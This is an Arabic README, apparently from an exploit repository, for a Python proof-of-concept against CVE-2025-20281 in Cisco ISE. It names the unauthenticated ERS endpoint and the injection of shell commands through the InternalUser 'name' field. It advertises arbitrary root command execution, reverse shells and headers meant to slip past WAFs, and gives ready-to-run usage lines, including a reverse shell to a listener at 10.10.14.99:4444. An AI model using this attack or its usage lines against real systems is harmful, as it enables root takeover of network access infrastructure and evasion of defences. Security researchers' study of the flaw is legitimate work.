CVE-2025-20281 — استغلال RCE غير مصادق عليه في واجهة ERS API لـ Cisco ISE

يحتوي هذا المستودع على استغلال إثبات المفهوم بلغة Python 3 لـ CVE-2025-20281، وهي ثغرة أمنية حرجة في Cisco Identity Services Engine (ISE) تسمح بتنفيذ تعليمات برمجية عن بُعد غير مصادق عليه (RCE) كجذر عبر واجهة ERS API.

🩻 نظرة عامة على الثغرة

يفشل نقطة النهاية /ers/sdk#_ في واجهة ERS الخاصة بـ Cisco ISE في التحقق من المصادقة عند معالجة طلبات إنشاء المستخدم.
عن طريق حقن أوامر shell في معامل name لكائن InternalUser، يمكن للمهاجمين تحقيق تنفيذ الأوامر كجذر.

• معرف CVE: CVE-2025-20281
• المتأثر: عقدة إدارة السياسات (PAN) في Cisco ISE مع تمكين ERS
• الخطورة: حرجة (CVSS 9.8)
• المصادقة: لا يلزم أي مصادقة

⚙️ الميزات

• ✅ تشغيل أوامر عشوائية (--cmd)
• ✅ اختبار سريع باستخدام --whoami
• ✅ إطلاق قذائف عكسية (--reverse)
• ✅ لا حاجة لمصادقة أو رمز جلسة
• ✅ إخفاء تحذيرات SSL ومخرجات نظيفة
• ✅ رؤوس مشروعة لتجاوز جدران الحماية البسيطة (WAFs)

🚀 الاستخدام

python3 CVE-2025-20281.py TARGET [--whoami | --cmd "id" | --reverse LHOST LPORT]

أمثلة

اختبار الأمر:

python3 CVE-2025-20281.py 192.168.1.10 --whoami

تشغيل أمر مخصص:

python3 CVE-2025-20281.py 192.168.1.10 --cmd "id && hostname"

قذيفة عكسية:

python3 CVE-2025-20281.py 192.168.1.10 --reverse 10.10.14.99 4444

⚠️ إخلاء مسؤولية قانوني

هذا الكود مُقدم لأغراض تعليمية واختبارية مرخصة فقط. لا تستخدم هذا البرنامج ضد شبكات أو أنظمة لا تملكها أو ليس لديك إذن لاختبارها.

🙏 الإسناد

الثغرة: تم الكشف عنها عبر تنبيه Cisco

إعادة هيكلة الإثبات: illdeed